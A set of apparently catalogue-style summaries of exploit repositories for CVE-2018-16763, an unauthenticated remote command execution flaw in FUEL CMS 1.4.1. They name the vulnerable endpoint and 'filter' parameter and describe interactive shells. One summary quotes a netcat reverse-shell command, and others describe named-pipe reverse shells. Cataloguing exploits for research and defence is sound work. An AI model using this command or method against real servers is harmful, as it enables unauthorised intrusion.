Pre-Auth RCE in FUEL CMS 1.4.1

Repository contains a single Python exploit script (47138.py) and a README. The script is a Python 3 port of an Exploit-DB proof of concept for CVE-2018-16763 in FUEL CMS <= 1.4.1. It prompts for a target IP, builds a base URL using plain HTTP, then enters an interactive loop asking for attacker commands. For each command, it sends a GET request to /fuel/pages/select/ with a crafted filter parameter containing URL-encoded PHP that assigns 'system' to a variable and invokes it with the supplied command. The response body is parsed with a helper function, find_nth_overlapping(), to locate repeated content and print the apparent command output segment. This is an actual exploit, not just a detector: its main capability is unauthenticated remote command execution against vulnerable FUEL CMS instances. The repository is minimal, purpose-built, and focused solely on preserving and maintaining the original PoC for Python 3 compatibility.

This is a small standalone Python exploit/analyzer for CVE-2018-16763 targeting FUEL CMS 1.4.1. The repository is minimal: a README describing usage and behavior, a .gitignore, and a single executable script cve_2018_16763.py that contains all exploit logic. The script is not framework-based. Core capability: it performs unauthenticated remote command execution by sending crafted GET requests to the FUEL CMS /fuel/pages/select/ endpoint with a malicious filter parameter. The payload is URL-encoded and designed to trigger PHP evaluation that calls system() with attacker-supplied commands. The tool first validates exploitation by running id and checking for markers such as uid= or www-data. If successful, it enters an interactive loop where the operator can run arbitrary shell commands one at a time. The exploit includes several operational conveniences: optional proxying through Burp at 127.0.0.1:8080, a browser-like User-Agent, disabled TLS verification warnings, UUID-based output markers to delimit command output, and fallback response-cleaning logic that strips HTML/script/style content and common FUEL CMS/PHP error noise. This makes it more than a pure detector, but it is still a lightweight operator-driven exploit rather than a full post-exploitation framework. Notable fingerprintable targets/endpoints are the vulnerable path /fuel/pages/select/, the filter query parameter, and the hardcoded local proxy endpoint 127.0.0.1:8080. The exploit does not contain hardcoded victim IPs or domains; the target base URL is supplied interactively by the user.

This repository is a small standalone Python proof-of-concept exploit for CVE-2018-16763 affecting Fuel CMS 1.4.1. It contains one code file, CVE-2018-16763.py, and one README. The exploit is not part of a larger framework. The Python script uses requests, argparse, urllib.parse, regex parsing, and prompt_toolkit to provide a pseudo-interactive shell against a vulnerable Fuel CMS instance. Its core capability is unauthenticated remote code execution by sending a crafted GET request to the /fuel/pages/select/ endpoint with a malicious filter parameter that injects PHP code and calls system() on attacker-controlled commands. The script first runs id to confirm exploitation and checks for uid= in the reflected output; if successful, it opens an interactive prompt and relays arbitrary commands over repeated HTTP requests. Output is extracted from the returned HTML using a regex and fallback string splitting. The repository structure is minimal and purpose-built: the README explains the vulnerability, dependencies, setup, and example usage, while the Python file implements the exploit logic end-to-end. There is no persistence, lateral movement, or secondary payload delivery; the main result is direct command execution as the web server user on the remote host.

This repository contains a Python 3 exploit script targeting Fuel CMS version 1.4.1 (CVE-2018-16763), which suffers from a remote code execution vulnerability via the 'filter' parameter in the '/fuel/pages/select/' endpoint. The exploit allows an unauthenticated attacker to execute arbitrary system commands on the target server. The script is interactive, providing a menu for the user to either execute arbitrary commands or spawn a reverse shell back to the attacker's machine. The reverse shell payload uses a named pipe and netcat to connect back to the attacker's listener. The repository consists of two files: a README.md with usage instructions and vulnerability details, and the main exploit script 'exploit_cms_fuel_v_1_4.py'. The exploit is operational, requiring only the target's IP address and a running listener on the attacker's side. The main attack vector is network-based, exploiting an HTTP GET request to a vulnerable endpoint. The code is not part of a framework and is a standalone proof-of-concept with a working payload.

This repository contains a single Python script (Cve.py) that exploits CVE-2018-16763, a remote code execution vulnerability in Fuel CMS. The script constructs a specially crafted HTTP GET request to the vulnerable Fuel CMS endpoint, injecting a payload that causes the target to execute a reverse shell command ('nc -e /bin/bash YOUR_IP 4444'). The attacker is instructed to set up a netcat listener on their own machine to receive the shell. The script is operational, providing a working exploit with a hardcoded payload, and targets Fuel CMS instances accessible over the network. The only file in the repository is the exploit script itself, written in Python.

This repository contains a Python exploit script (cve-2018-16763.py) and a README for CVE-2018-16763, a pre-auth remote code execution vulnerability in FuelCMS 1.4.1. The exploit targets the '/fuel/pages/select/?filter=' HTTP endpoint, which is vulnerable to PHP code injection via the 'filter' parameter. The script offers two main capabilities: a web shell for interactive command execution and a reverse shell that connects back to the attacker's machine. The reverse shell uses a bash payload that creates a FIFO file at /tmp/f and connects to the attacker's IP and port using netcat. The exploit is operational, requiring only the target URL (and attacker IP/port for reverse shell). The repository is straightforward, with the main logic in a single Python file and clear instructions in the README.

This repository contains a Python exploit script (exploit.py) and a README.md for CVE-2018-16763, a remote code execution vulnerability in Fuel CMS 1.4.1. The exploit.py script allows an attacker to interactively send system commands to a vulnerable Fuel CMS instance by injecting them into a GET request to the /fuel/pages/select/ endpoint. The script takes user input, encodes it, and crafts a malicious URL that exploits the vulnerability, then prints the command output from the server's response. The README provides a brief description and credits the author. The exploit is operational, requiring the attacker to specify the target URL, and is capable of executing arbitrary commands on the target server. The main fingerprintable endpoint is the /fuel/pages/select/ path on the target Fuel CMS instance.

This repository contains a Python 3 proof-of-concept exploit for CVE-2018-16763, a pre-authenticated remote code execution vulnerability in Fuel CMS version 1.4.1. The main exploit script, 'CVE-2018-16763.py', allows an attacker to execute arbitrary system commands on a vulnerable Fuel CMS instance by sending a specially crafted HTTP GET request to the '/fuel/pages/select/?filter=' endpoint. The script establishes a session with the target, verifies connectivity, and then enters an interactive loop where the user can input system commands to be executed remotely. The exploit does not require authentication and targets web applications running the affected version of Fuel CMS. The repository also includes a README with usage instructions, a requirements.txt for dependencies, and a license file. The exploit is a functional proof-of-concept and demonstrates the critical impact of the vulnerability by providing direct command execution on the target server.

This repository contains a Python exploit script (exploit.py) targeting CVE-2018-16763, a remote code execution vulnerability in Fuel CMS version 1.4.1 and below. The exploit works by sending HTTP GET requests to a vulnerable endpoint ('/fuel/pages/select/?filter=...') on the target Fuel CMS instance, injecting arbitrary system commands via a crafted filter parameter. The script prompts the user for the target URL and then allows interactive command execution, displaying the output of each command. The README provides attribution and context for the exploit. The repository is straightforward, with one main exploit script and a README, and is intended for use against vulnerable Fuel CMS installations accessible over the network.

This repository provides a working exploit for CVE-2018-16763, a remote code execution vulnerability in FuelCMS versions 1.4.1 and below. The exploit is implemented in Python (console.py), which automates the process of uploading a PHP webshell (webshell/webshell.php) to the target FuelCMS instance by exploiting a code injection vulnerability in the 'filter' parameter of the /fuel/pages/select/ endpoint. Once the webshell is uploaded, the attacker can interact with it via HTTP requests to execute arbitrary system commands or download files from the server. The repository also includes a Docker-based test environment for FuelCMS, configuration files, and documentation. The exploit is unauthenticated and provides an operational, interactive shell on the target system, making it a significant security risk for vulnerable installations.

This repository contains a Python exploit script (rce.py) and a detailed README.md write-up for CVE-2018-16763, a remote code execution vulnerability in Fuel CMS version 1.4.1. The exploit script allows an attacker to interactively send arbitrary OS commands to a vulnerable Fuel CMS instance by exploiting a flaw in the /fuel/pages/select/ endpoint's filter parameter. The script takes the target URL as an argument, prompts the user for OS commands, and displays the output returned by the server. The README provides background, references, and usage notes. The exploit is operational, requiring the attacker to manually parse command output from the HTML response. No detection or verification logic is present in the script. The main attack vector is network-based, targeting a web application endpoint. The repository is focused and contains only the exploit script and documentation.

This repository contains a single exploit script (exploit.py) targeting Fuel CMS versions 1.4.1 and below, specifically exploiting CVE-2018-16763. The exploit leverages a remote code execution vulnerability in the /fuel/pages/select/ endpoint by injecting a PHP command via the 'filter' parameter. The script is written in Python and takes user-supplied arguments for the target URL, the command to execute, and an optional proxy. Upon execution, it crafts a malicious URL, sends it to the target, and prints the output of the executed command. The repository is straightforward, with only a .gitattributes file and the main exploit script, and is intended for direct exploitation of vulnerable Fuel CMS installations.

This repository contains a Python exploit script (exploit.py) targeting Fuel CMS version 1.4.1 (CVE-2018-16763). The exploit leverages a vulnerability in the '/fuel/pages/select/' endpoint, specifically abusing the 'filter' parameter to inject and execute arbitrary PHP code, resulting in remote code execution (RCE) on the target server. The script is interactive, allowing the attacker to input system commands, which are then executed on the vulnerable server and the output is displayed to the user. The exploit requires the attacker to specify the target URL, which must be running the vulnerable version of Fuel CMS and have the affected endpoint accessible. The repository also includes a README with usage instructions and a requirements.txt listing dependencies (colorama, argparse). The main exploit logic is contained in 'exploit.py', which is the entry point for the attack. No hardcoded IPs or domains are present; the target is specified at runtime.

This repository contains a Python 3 port of a remote code execution exploit for FuelCMS version 1.4.1 and below (CVE-2018-16763). The exploit is implemented in 'exploit.py', which allows an attacker to interactively send system commands to a vulnerable FuelCMS instance by exploiting a flaw in the '/fuel/pages/select/' endpoint. The script constructs a specially crafted URL that injects a PHP system() call, enabling arbitrary command execution on the server. The attacker must set the 'url' variable to the target's base URL and can optionally configure a proxy for traffic interception. No authentication is required for exploitation. The repository also includes a README.md with usage instructions and background information. The exploit is operational and provides an interactive shell-like interface for command execution.